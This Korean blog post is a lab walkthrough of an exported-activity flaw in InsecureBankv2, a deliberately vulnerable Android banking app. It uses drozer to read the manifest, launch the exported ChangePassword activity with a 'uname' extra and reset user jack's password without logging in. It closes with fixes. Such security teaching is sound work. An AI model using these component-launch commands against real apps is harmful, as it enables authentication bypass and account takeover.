외로운 Nova의 작업실
insecurebankv2 - 액티비티 컴포넌트 취약점 본문
insecurebankv2 - 액티비티 컴포넌트 취약점
Nova_ 2023. 5. 11. 16:41- 취약점 소개
액티비티는 안드로이드 앱에서 화면을 의미합니다. 사용자가 정상적인 방법으로 로그인 화면 -> 비밀번호 변경 화면 순으로 접속해야하지만, 액티비티 취약점이 있는경우 로그인 화면없이 비밀번호 변경 화면으로 건너뛸 수 있습니다.
- 취약점 진단
매니페스트 파일에 activity 선언태그 안에 exported 속성이 true로 되어있다면 다른 외부에서 액티비티 화면을 불러올 수 있음을 의미합니다. 따라서 드로저를 활용해 매니페스트 파일을 봐보겠습니다.
dz> run app.package.manifest com.android.insecurebankv2
<manifest versionCode="1"
versionName="1.0"
package="com.android.insecurebankv2"
platformBuildVersionCode="22"
platformBuildVersionName="5.1.1-1819727">
<uses-sdk minSdkVersion="15"
targetSdkVersion="22">
</uses-sdk>
<uses-permission name="android.permission.INTERNET">
</uses-permission>
<uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE">
</uses-permission>
<uses-permission name="android.permission.SEND_SMS">
</uses-permission>
<uses-permission name="android.permission.USE_CREDENTIALS">
</uses-permission>
<uses-permission name="android.permission.GET_ACCOUNTS">
</uses-permission>
<uses-permission name="android.permission.READ_PROFILE">
</uses-permission>
<uses-permission name="android.permission.READ_CONTACTS">
</uses-permission>
<uses-permission name="android.permission.READ_PHONE_STATE">
</uses-permission>
<uses-permission name="android.permission.READ_EXTERNAL_STORAGE"
maxSdkVersion="18">
</uses-permission>
<uses-permission name="android.permission.READ_CALL_LOG">
</uses-permission>
<uses-permission name="android.permission.ACCESS_NETWORK_STATE">
</uses-permission>
<uses-permission name="android.permission.ACCESS_COARSE_LOCATION">
</uses-permission>
<uses-feature glEsVersion="0x20000"
required="true">
</uses-feature>
<application theme="@16974105"
label="@2131165248"
icon="@2130903040"
debuggable="true"
allowBackup="true">
<activity label="@2131165248"
name="com.android.insecurebankv2.LoginActivity">
<intent-filter>
<action name="android.intent.action.MAIN">
</action>
<category name="android.intent.category.LAUNCHER">
</category>
</intent-filter>
</activity>
<activity label="@2131165271"
name="com.android.insecurebankv2.FilePrefActivity"
windowSoftInputMode="0x34">
</activity>
<activity label="@2131165268"
name="com.android.insecurebankv2.DoLogin">
</activity>
<activity label="@2131165275"
name="com.android.insecurebankv2.PostLogin"
exported="true">
</activity>
<activity label="@2131165278"
name="com.android.insecurebankv2.WrongLogin">
</activity>
<activity label="@2131165269"
name="com.android.insecurebankv2.DoTransfer"
exported="true">
</activity>
<activity label="@2131165277"
name="com.android.insecurebankv2.ViewStatement"
exported="true">
</activity>
<provider name="com.android.insecurebankv2.TrackUserContentProvider"
exported="true"
authorities="com.android.insecurebankv2.TrackUserContentProvider">
</provider>
<receiver name="com.android.insecurebankv2.MyBroadCastReceiver"
exported="true">
<intent-filter>
<action name="theBroadcast">
</action>
</intent-filter>
</receiver>
<activity label="@2131165267"
name="com.android.insecurebankv2.ChangePassword"
exported="true">
</activity>
<activity theme="@16973839"
name="com.google.android.gms.ads.AdActivity"
configChanges="0xfb0">
</activity>
<activity theme="@2131296479"
name="com.google.android.gms.ads.purchase.InAppPurchaseActivity">
</activity>
<meta-data name="com.google.android.gms.version"
value="@2131427332">
</meta-data>
<meta-data name="com.google.android.gms.wallet.api.enabled"
value="true">
</meta-data>
<receiver name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver"
exported="false">
<intent-filter>
<action name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION">
</action>
</intent-filter>
</receiver>
</application>
</manifest>
ChangePassword 액티비티의 경우 exported 속성이 true로 되어있는 것을 확인할 수 있습니다. 드로저로 노출된 액티비티들을 정리해서 봐보겠습니다.
run app.activity.info -a com.android.insecurebankv2
5개의 액티비티가 노출되어있음을 알 수 있습니다. 실제 changepassword 액티비티의 취약점을 악용하여 jack의 비밀번호를 변경해보겠습니다. 먼저 인시큐어뱅크를 켜줍니다.
첫번째 로그인화면입니다. 로그인 없이 ChangePassword 액티비티로 건너뛰어보겠습니다.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword
근데, username에 아무것도 입력할 수 없습니다. 아마 username은 사용자 입력값이 아닌 intent값을 받아오는 것으로 알 수 있습니다. 정확한 정보를 위해 디컴파일된 소스코드를 봐보겠습니다. changePassword.class 파일입니다.
package com.android.insecurebankv2;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.text.TextUtils;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import java.io.BufferedReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ChangePassword extends Activity {
private static final String PASSWORD_PATTERN = "((?=.*\\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%]).{6,20})";
Button changePassword_button;
EditText changePassword_text;
private Matcher matcher;
private Pattern pattern;
String protocol = "http://";
BufferedReader reader;
String result;
SharedPreferences serverDetails;
String serverip = "";
String serverport = "";
TextView textView_Username;
String uname;
static Pattern access$000(ChangePassword var0) {
return var0.pattern;
}
static Pattern access$002(ChangePassword var0, Pattern var1) {
var0.pattern = var1;
return var1;
}
static Matcher access$100(ChangePassword var0) {
return var0.matcher;
}
static Matcher access$102(ChangePassword var0, Matcher var1) {
var0.matcher = var1;
return var1;
}
static void access$200(ChangePassword var0, String var1, String var2) {
var0.broadcastChangepasswordSMS(var1, var2);
}
private void broadcastChangepasswordSMS(String var1, String var2) {
if (TextUtils.isEmpty(var1.toString().trim())) {
System.out.println("Phone number Invalid.");
} else {
Intent var3 = new Intent();
var3.setAction("theBroadcast");
var3.putExtra("phonenumber", var1);
var3.putExtra("newpass", var2);
this.sendBroadcast(var3);
}
}
public void callPreferences() {
this.startActivity(new Intent(this, FilePrefActivity.class));
}
protected void onCreate(Bundle var1) {
super.onCreate(var1);
this.setContentView(2130968601);
this.serverDetails = PreferenceManager.getDefaultSharedPreferences(this);
this.serverip = this.serverDetails.getString("serverip", (String)null);
this.serverport = this.serverDetails.getString("serverport", (String)null);
this.changePassword_text = (EditText)this.findViewById(2131558503);
this.uname = this.getIntent().getStringExtra("uname");
System.out.println("newpassword=" + this.uname);
this.textView_Username = (TextView)this.findViewById(2131558502);
this.textView_Username.setText(this.uname);
this.changePassword_button = (Button)this.findViewById(2131558504);
this.changePassword_button.setOnClickListener(new 1(this));
}
public boolean onCreateOptionsMenu(Menu var1) {
this.getMenuInflater().inflate(2131623938, var1);
return true;
}
public boolean onOptionsItemSelected(MenuItem var1) {
boolean var3 = true;
int var2 = var1.getItemId();
if (var2 == 2131558557) {
this.callPreferences();
} else if (var2 == 2131558558) {
Intent var4 = new Intent(this.getBaseContext(), LoginActivity.class);
var4.addFlags(67108864);
this.startActivity(var4);
} else {
var3 = super.onOptionsItemSelected(var1);
}
return var3;
}
}
가장 중요한 oncreat() 함수부분을 보겠습니다.
protected void onCreate(Bundle var1) {
super.onCreate(var1);
this.setContentView(2130968601);
this.serverDetails = PreferenceManager.getDefaultSharedPreferences(this);
this.serverip = this.serverDetails.getString("serverip", (String)null);
this.serverport = this.serverDetails.getString("serverport", (String)null);
this.changePassword_text = (EditText)this.findViewById(2131558503);
this.uname = this.getIntent().getStringExtra("uname");
System.out.println("newpassword=" + this.uname);
this.textView_Username = (TextView)this.findViewById(2131558502);
this.textView_Username.setText(this.uname);
this.changePassword_button = (Button)this.findViewById(2131558504);
this.changePassword_button.setOnClickListener(new 1(this));
}
가운데에 this.uname 변수에 intent로 extra("uname")을 받아오고 있습니다. 이것은 아래에 this.textView_Username.setText(this.uname) 코드로 username에 넣는 것을 확인할 수 있습니다. 즉, 액티비티를 실행할때 uname이라는 변수에 값을 담아서 intent로 넘겨주면 그 값이 username에 전달되는 것을 알 수 있습니다. 실제 공격이라면 아무거나해도되지만 이번에는 jack을 해보겠습니다.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
jack이 들어갔습니다. 이제 바꾸고싶은 비밀번호로 변경하시면됩니다. Nov@123으로 변경해보겠습니다.
서버에 위처럼 뜨게됩니다. 이제 이걸로 로그인해보겠습니다.
잘 되는 것을 확인할 수 있습니다.
- 취약점 대응 방안
액티비티를 강제로 실행하지 못하도록 exported 속성을 false로 변경해야합니다.
사용자 인증절차를 추가하여 인증되지않은 사용자의 접근을 차단하는 방법을 추가할 수 도 있습니다.
'Mobile App Penetesting > Android App Vulnerability' 카테고리의 다른 글
insecurebankv2 - 안전하지 않은 콘텐츠 프로바이더 접근 (0) | 2023.05.13 |
---|---|
insecurebankv2 - 루팅 탐지 우회 (0) | 2023.05.12 |
insecurebankv2 - 로컬 암호화 이슈 취약점 (0) | 2023.05.08 |
insecurebankv2 - 취약한 인증 메커니즘 취약점 (0) | 2023.05.07 |
insecurebankv2 - 브로드캐스트 리시버 결함 (0) | 2023.05.06 |